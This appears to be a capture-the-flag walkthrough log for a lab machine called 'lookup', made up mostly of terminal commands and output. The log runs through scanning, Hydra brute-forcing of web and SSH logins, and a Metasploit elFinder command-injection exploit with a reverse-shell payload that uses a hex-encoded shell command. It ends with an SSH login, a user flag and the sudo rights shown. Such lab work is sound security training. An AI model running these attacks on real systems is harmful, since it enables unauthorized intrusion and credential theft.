3 packets received by filter, 0 packets dropped by kernel Ending arp-scan 1.10.0: 256 hosts scanned in 2.102 seconds (121.79 hosts/sec). 3 responded ┌──(root㉿kali)-[~] └─# nmap -Pn -A -sV -T4 -p- 192.168.56.101 Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-12-18 04:52 EST Nmap scan report for www.smol.hmv (192.168.56.101) Host is up (0.00048s latency). Not shown: 65533 closed tcp ports (reset) PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.9 (Ubuntu Linux; protocol 2.0) | ssh-hostkey: | 3072 44:5f:26:67:4b:4a:91:9b:59:7a:95:59:c8:4c:2e:04 (RSA) | 256 0a:4b:b9:b1:77:d2:48:79:fc:2f:8a:3d:64:3a:ad:94 (ECDSA) |_ 256 d3:3b:97:ea:54:bc:41:4d:03:39:f6:8f:ad:b6:a0:fb (ED25519) 80/tcp open http Apache httpd 2.4.41 ((Ubuntu)) |_http-server-header: Apache/2.4.41 (Ubuntu) |_http-title: Did not follow redirect to http://lookup.hmv MAC Address: 08:00:27:79:3A:8A (Oracle VirtualBox virtual NIC) Device type: general purpose Running: Linux 4.X|5.X OS CPE: cpe:/o:linux:linux_kernel:4 cpe:/o:linux:linux_kernel:5 OS details: Linux 4.15 - 5.8 Network Distance: 1 hop Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
TRACEROUTE HOP RTT ADDRESS 1 0.48 ms www.smol.hmv (192.168.56.101)
OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . Nmap done: 1 IP address (1 host up) scanned in 10.65 seconds ┌──(root㉿kali)-[~] └─# nikto -h 192.168.56.101 - Nikto v2.5.0 --------------------------------------------------------------------------- + Target IP: 192.168.56.101 + Target Hostname: 192.168.56.101 + Target Port: 80 + Start Time: 2024-12-18 04:53:15 (GMT-5) --------------------------------------------------------------------------- + Server: Apache/2.4.41 (Ubuntu) + /: The anti-clickjacking X-Frame-Options header is not present. See: https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/X-Frame-Options + /: The X-Content-Type-Options header is not set. This could allow the user agent to render the content of the site in a different fashion to the MIME type. See: https://www.netsparker.com/web-vulnerability-scanner/vulnerabilities/missing-content-type-header/ + Root page / redirects to: http://lookup.hmv + No CGI Directories found (use '-C all' to force check all possible dirs) + Apache/2.4.41 appears to be outdated (current is at least Apache/2.4.54). Apache 2.2.34 is the EOL for the 2.x branch. + 8102 requests: 0 error(s) and 3 item(s) reported on remote host + End Time: 2024-12-18 04:53:33 (GMT-5) (18 seconds) --------------------------------------------------------------------------- + 1 host(s) tested ┌──(root㉿kali)-[~] └─# echo 192.168.56.101 lookup.hmv > /etc/hosts
┌──(root㉿kali)-[~/yiyi/tmp] └─# whatweb -v lookup.hmv WhatWeb report for http://lookup.hmv Status : 200 OK Title : Login Page IP : 192.168.56.101 Country : RESERVED, ZZ
Detected Plugins: [ Apache ] The Apache HTTP Server Project is an effort to develop and maintain an open-source HTTP server for modern operating systems including UNIX and Windows NT. The goal of this project is to provide a secure, efficient and extensible server that provides HTTP services insync with the current HTTP standards.
Version : 2.4.41 (from HTTP Server Header) Google Dorks: (3) Website : http://httpd.apache.org/
[ HTML5 ] HTML version 5, detected by the doctype declaration
[ HTTPServer ] HTTP server header string. This plugin also attempts to identify the operating system from the server header.
OS : Ubuntu Linux String : Apache/2.4.41 (Ubuntu) (from server string)
[ PasswordField ] find password fields
String : password (from field name)
HTTP Headers: HTTP/1.1 200 OK Date: Wed, 18 Dec 2024 18:04:40 GMT Server: Apache/2.4.41 (Ubuntu) Vary: Accept-Encoding Content-Encoding: gzip Content-Length: 359 Connection: close Content-Type: text/html; charset=UTF-8
┌──(root㉿kali)-[~/yiyi/tmp] └─# sqlmap -r req.txt --dbs --batch ___ __H__ ___ ___[.]_____ ___ ___ {1.8.11#stable} |_ -| . [.] | .'| . | |___|_ [,]_|_|_|__,| _| |_|V... |_| https://sqlmap.org [!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program
[*] starting @ 05:02:51 /2024-12-18/
[05:02:51] [INFO] parsing HTTP request from 'req.txt' custom injection marker ('*') found in POST body. Do you want to process it? [Y/n/q] Y [05:02:51] [INFO] testing connection to the target URL got a refresh intent (redirect like response common to login pages) to 'http://lookup.hmv'. Do you want to apply it from now on? [Y/n] Y [05:02:51] [CRITICAL] previous heuristics detected that the target is protected by some kind of WAF/IPS [05:02:51] [INFO] testing if the target URL content is stable [05:02:51] [WARNING] target URL content is not stable (i.e. content differs). sqlmap will base the page comparison on a sequence matcher. If no dynamic nor injectable parameters are detected, or incase of junk results, refer to user's manual paragraph 'Page comparison' how do you want to proceed? [(C)ontinue/(s)tring/(r)egex/(q)uit] C [05:02:51] [INFO] searching for dynamic content [05:02:51] [CRITICAL] target URL content appears to be heavily dynamic. sqlmap is going to retry the request(s) [05:02:51] [WARNING] target URL content appears to be too dynamic. Switching to '--text-only' [05:02:51] [INFO] testing if (custom) POST parameter '#1*' is dynamic [05:02:51] [INFO] (custom) POST parameter '#1*' appears to be dynamic [05:02:51] [INFO] testing for SQL injection on (custom) POST parameter '#1*' [05:02:51] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause' [05:02:52] [INFO] testing 'Boolean-based blind - Parameter replace (original value)' [05:02:52] [INFO] testing 'MySQL >= 5.1 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (EXTRACTVALUE)' [05:02:52] [INFO] testing 'PostgreSQL AND error-based - WHERE or HAVING clause' [05:02:52] [INFO] testing 'Microsoft SQL Server/Sybase AND error-based - WHERE or HAVING clause (IN)' [05:02:52] [INFO] testing 'Oracle AND error-based - WHERE or HAVING clause (XMLType)' [05:02:52] [INFO] testing 'Generic inline queries' [05:02:52] [INFO] testing 'PostgreSQL > 8.1 stacked queries (comment)' [05:02:52] [INFO] testing 'Microsoft SQL Server/Sybase stacked queries (comment)' [05:02:52] [INFO] testing 'Oracle stacked queries (DBMS_PIPE.RECEIVE_MESSAGE - comment)' [05:02:52] [INFO] testing 'MySQL >= 5.0.12 AND time-based blind (query SLEEP)' [05:02:52] [INFO] testing 'PostgreSQL > 8.1 AND time-based blind' [05:02:52] [INFO] testing 'Microsoft SQL Server/Sybase time-based blind (IF)' [05:02:52] [INFO] testing 'Oracle AND time-based blind' it is recommended to perform only basic UNION tests if there is not at least one other (potential) technique found. Do you want to reduce the number of requests? [Y/n] Y [05:02:52] [INFO] testing 'Generic UNION query (NULL) - 1 to 10 columns' [05:02:52] [WARNING] (custom) POST parameter '#1*' does not seem to be injectable [05:02:52] [INFO] testing if (custom) POST parameter '#2*' is dynamic [05:02:52] [INFO] (custom) POST parameter '#2*' appears to be dynamic [05:02:52] [INFO] testing for SQL injection on (custom) POST parameter '#2*' [05:02:52] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause' [05:02:53] [INFO] testing 'Boolean-based blind - Parameter replace (original value)' [05:02:53] [INFO] testing 'MySQL >= 5.1 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (EXTRACTVALUE)' [05:02:53] [INFO] testing 'PostgreSQL AND error-based - WHERE or HAVING clause' [05:02:53] [INFO] testing 'Microsoft SQL Server/Sybase AND error-based - WHERE or HAVING clause (IN)' [05:02:53] [INFO] testing 'Oracle AND error-based - WHERE or HAVING clause (XMLType)' [05:02:53] [INFO] testing 'Generic inline queries' [05:02:53] [INFO] testing 'PostgreSQL > 8.1 stacked queries (comment)' [05:02:53] [INFO] testing 'Microsoft SQL Server/Sybase stacked queries (comment)' [05:02:53] [INFO] testing 'Oracle stacked queries (DBMS_PIPE.RECEIVE_MESSAGE - comment)' [05:02:53] [INFO] testing 'MySQL >= 5.0.12 AND time-based blind (query SLEEP)' [05:02:53] [INFO] testing 'PostgreSQL > 8.1 AND time-based blind' [05:02:53] [INFO] testing 'Microsoft SQL Server/Sybase time-based blind (IF)' [05:02:53] [INFO] testing 'Oracle AND time-based blind' [05:02:53] [INFO] testing 'Generic UNION query (NULL) - 1 to 10 columns' [05:02:53] [WARNING] (custom) POST parameter '#2*' does not seem to be injectable [05:02:53] [CRITICAL] all tested parameters do not appear to be injectable. Try to increase values for'--level'/'--risk' options if you wish to perform more tests. If you suspect that there is some kind of protection mechanism involved (e.g. WAF) maybe you could try to use option '--tamper' (e.g. '--tamper=space2comment') and/or switch '--random-agent'
┌──(root㉿kali)-[~/yiyi/tmp] └─# hydra -l admin -P /root/yiyi/rockyou.txt -f lookup.hmv http-post-form "/login.php:username=^USER^&password=^PASS^:Wrong password" Hydra v9.5 (c) 2023 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is non-binding, these *** ignore laws and ethics anyway).
Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2024-12-18 05:11:41 [DATA] max 16 tasks per 1 server, overall 16 tasks, 14344399 login tries (l:1/p:14344399), ~896525 tries per task [DATA] attacking http-post-form://lookup.hmv:80/login.php:username=^USER^&password=^PASS^:Wrong password [80][http-post-form] host: lookup.hmv login: admin password: password123 [STATUS] attack finished for lookup.hmv (valid pair found) 1 of 1 target successfully completed, 1 valid password found Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2024-12-18 05:12:01
不显示password错误了，说明账号有问题
重新爆
1 2 3 4 5 6 7 8 9 10 11 12
┌──(root㉿kali)-[~/yiyi/tmp] └─# hydra -L /root/yiyi/rockyou.txt -p password123 -f lookup.hmv http-post-form "/login.php:username=^USER^&password=^PASS^:Wrong username" Hydra v9.5 (c) 2023 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is non-binding, these *** ignore laws and ethics anyway).
Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2024-12-18 05:15:44 [DATA] max 16 tasks per 1 server, overall 16 tasks, 14344399 login tries (l:14344399/p:1), ~896525 tries per task [DATA] attacking http-post-form://lookup.hmv:80/login.php:username=^USER^&password=^PASS^:Wrong username [STATUS] 4577.00 tries/min, 4577 tries in 00:01h, 14339822 to doin 52:14h, 16 active [80][http-post-form] host: lookup.hmv login: jose password: password123 [STATUS] attack finished for lookup.hmv (valid pair found) 1 of 1 target successfully completed, 1 valid password found Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2024-12-18 05:18:28
Interact with a module by name or index. For example info 4, use 4 or use exploit/unix/webapp/elfinder_php_connector_exiftran_cmd_injection
msf6 > use 4 [*] No payload configured, defaulting to php/meterpreter/reverse_tcp msf6 exploit(unix/webapp/elfinder_php_connector_exiftran_cmd_injection) > show options
Name Current Setting Required Description ---- --------------- -------- ----------- Proxies no A proxy chain of format type:host:port[,type:host:port][...] RHOSTS yes The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html RPORT 80 yes The target port (TCP) SSL false no Negotiate SSL/TLS for outgoing connections TARGETURI /elFinder/ yes The base path to elFinder VHOST no HTTP server virtual host
Payload options (php/meterpreter/reverse_tcp):
Name Current Setting Required Description ---- --------------- -------- ----------- LHOST 192.168.160.100 yes The listen address (an interface may be specified) LPORT 4444 yes The listen port
Exploit target:
Id Name -- ---- 0 Auto
View the full module info with the info, or info -d command.
msf6 exploit(unix/webapp/elfinder_php_connector_exiftran_cmd_injection) > set rhosts files.lookup.hmv rhosts => files.lookup.hmv msf6 exploit(unix/webapp/elfinder_php_connector_exiftran_cmd_injection) > run
[*] Started reverse TCP handler on 192.168.160.100:4444 [*] Uploading payload 'TWV0K4.jpg;echo 6370202e2e2f66696c65732f545756304b342e6a70672a6563686f2a202e625637636e76474134342e706870 |xxd -r -p |sh& #.jpg' (1962 bytes) [*] Triggering vulnerability via image rotation ... [*] Executing payload (/elFinder/php/.bV7cnvGA44.php) ... [*] Removing uploaded file ... [+] Deleted uploaded file [!] This exploit may require manual cleanup of '.bV7cnvGA44.php' on the target [*] Exploit completed, but no session was created. msf6 exploit(unix/webapp/elfinder_php_connector_exiftran_cmd_injection) > show options
Name Current Setting Required Description ---- --------------- -------- ----------- Proxies no A proxy chain of format type:host:port[,type:host:port][...] RHOSTS files.lookup.hmv yes The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html RPORT 80 yes The target port (TCP) SSL false no Negotiate SSL/TLS for outgoing connections TARGETURI /elFinder/ yes The base path to elFinder VHOST no HTTP server virtual host
Payload options (php/meterpreter/reverse_tcp):
Name Current Setting Required Description ---- --------------- -------- ----------- LHOST 192.168.160.100 yes The listen address (an interface may be specified) LPORT 4444 yes The listen port
Exploit target:
Id Name -- ---- 0 Auto
View the full module info with the info, or info -d command.
┌──(root㉿kali)-[~/yiyi/tmp] └─# hydra -l think -P pass.txt ssh://192.168.56.101 -V -I Hydra v9.5 (c) 2023 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is non-binding, these *** ignore laws and ethics anyway).
Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2024-12-18 06:14:37 [WARNING] Many SSH configurations limit the number of parallel tasks, it is recommended to reduce the tasks: use -t 4 [DATA] max 16 tasks per 1 server, overall 16 tasks, 49 login tries (l:1/p:49), ~4 tries per task [DATA] attacking ssh://192.168.56.101:22/ [ATTEMPT] target 192.168.56.101 - login "think" - pass "jose1006" - 1 of 49 [child 0] (0/0) [ATTEMPT] target 192.168.56.101 - login "think" - pass "jose1004" - 2 of 49 [child 1] (0/0) [ATTEMPT] target 192.168.56.101 - login "think" - pass "jose1002" - 3 of 49 [child 2] (0/0) [ATTEMPT] target 192.168.56.101 - login "think" - pass "jose1001teles" - 4 of 49 [child 3] (0/0) [ATTEMPT] target 192.168.56.101 - login "think" - pass "jose100190" - 5 of 49 [child 4] (0/0) [ATTEMPT] target 192.168.56.101 - login "think" - pass "jose10001" - 6 of 49 [child 5] (0/0) [ATTEMPT] target 192.168.56.101 - login "think" - pass "jose10.asd" - 7 of 49 [child 6] (0/0) [ATTEMPT] target 192.168.56.101 - login "think" - pass "jose10+" - 8 of 49 [child 7] (0/0) [ATTEMPT] target 192.168.56.101 - login "think" - pass "jose0_07" - 9 of 49 [child 8] (0/0) [ATTEMPT] target 192.168.56.101 - login "think" - pass "jose0990" - 10 of 49 [child 9] (0/0) [ATTEMPT] target 192.168.56.101 - login "think" - pass "jose0986$" - 11 of 49 [child 10] (0/0) [ATTEMPT] target 192.168.56.101 - login "think" - pass "jose098130443" - 12 of 49 [child 11] (0/0) [ATTEMPT] target 192.168.56.101 - login "think" - pass "jose0981" - 13 of 49 [child 12] (0/0) [ATTEMPT] target 192.168.56.101 - login "think" - pass "jose0924" - 14 of 49 [child 13] (0/0) [ATTEMPT] target 192.168.56.101 - login "think" - pass "jose0923" - 15 of 49 [child 14] (0/0) [ATTEMPT] target 192.168.56.101 - login "think" - pass "jose0921" - 16 of 49 [child 15] (0/0) [ATTEMPT] target 192.168.56.101 - login "think" - pass "thepassword" - 17 of 52 [child 6] (0/3) [ATTEMPT] target 192.168.56.101 - login "think" - pass "jose(1993)" - 18 of 52 [child 1] (0/3) [ATTEMPT] target 192.168.56.101 - login "think" - pass "jose'sbabygurl" - 19 of 52 [child 3] (0/3) [ATTEMPT] target 192.168.56.101 - login "think" - pass "jose&vane" - 20 of 52 [child 4] (0/3) [ATTEMPT] target 192.168.56.101 - login "think" - pass "jose&takie" - 21 of 52 [child 5] (0/3) [ATTEMPT] target 192.168.56.101 - login "think" - pass "jose&samantha" - 22 of 52 [child 9] (0/3) [ATTEMPT] target 192.168.56.101 - login "think" - pass "jose&pam" - 23 of 52 [child 2] (0/3) [ATTEMPT] target 192.168.56.101 - login "think" - pass "jose&jlo" - 24 of 52 [child 8] (0/3) [ATTEMPT] target 192.168.56.101 - login "think" - pass "jose&jessica" - 25 of 52 [child 15] (0/3) [ATTEMPT] target 192.168.56.101 - login "think" - pass "jose&jessi" - 26 of 52 [child 0] (0/3) [ATTEMPT] target 192.168.56.101 - login "think" - pass "josemario.AKA(think)" - 27 of 52 [child 7] (0/3) [ATTEMPT] target 192.168.56.101 - login "think" - pass "jose.medina." - 28 of 52 [child 10] (0/3) [ATTEMPT] target 192.168.56.101 - login "think" - pass "jose.mar" - 29 of 52 [child 11] (0/3) [22][ssh] host: 192.168.56.101 login: think password: josemario.AKA(think) 1 of 1 target successfully completed, 1 valid password found [WARNING] Writing restore file because 3 final worker threads did not complete until end. [ERROR] 3 targets did not resolve or could not be connected [ERROR] 0 target did not complete Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2024-12-18 06:14:42
┌──(root㉿kali)-[~/yiyi/tmp] └─# ssh think@192.168.56.101 think@192.168.56.101's password: Welcome to Ubuntu 20.04.6 LTS (GNU/Linux 5.4.0-156-generic x86_64) * Documentation: https://help.ubuntu.com * Management: https://landscape.canonical.com * Support: https://ubuntu.com/advantage System information as of Wed 18 Dec 2024 07:15:50 PM UTC System load: 0.02 Processes: 210 Usage of /: 58.7% of 9.75GB Users logged in: 0 Memory usage: 40% IPv4 address for enp0s17: 192.168.56.101 Swap usage: 0% * Strictly confined Kubernetes makes edge and IoT secure. Learn how MicroK8s just raised the bar for easy, resilient and secure K8s cluster deployment. https://ubuntu.com/engage/secure-kubernetes-at-the-edge Expanded Security Maintenance for Applications is not enabled. 7 updates can be applied immediately. To see these additional updates run: apt list --upgradable Enable ESM Apps to receive additional future security updates. See https://ubuntu.com/esm or run: sudo pro status The list of available updates is more than a week old. To check for new updates run: sudo apt update Failed to connect to https://changelogs.ubuntu.com/meta-release-lts. Check your Internet connection or proxy settings Last login: Thu Jan 11 20:17:32 2024 from 192.168.1.13 think@lookup:~$ id uid=1000(think) gid=1000(think) groups=1000(think) think@lookup:~$ ls user.txt think@lookup:~$ cat user.txt 38375fb4dd8baa2b2039ac03d92b820e
sudo -l整出个look
1 2 3 4 5 6 7 8 9
think@lookup:~$ sudo -l [sudo] password for think: Sorry, try again. [sudo] password for think: Matching Defaults entries for think on lookup: env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin
User think may run the following commands on lookup: (ALL) /usr/bin/look
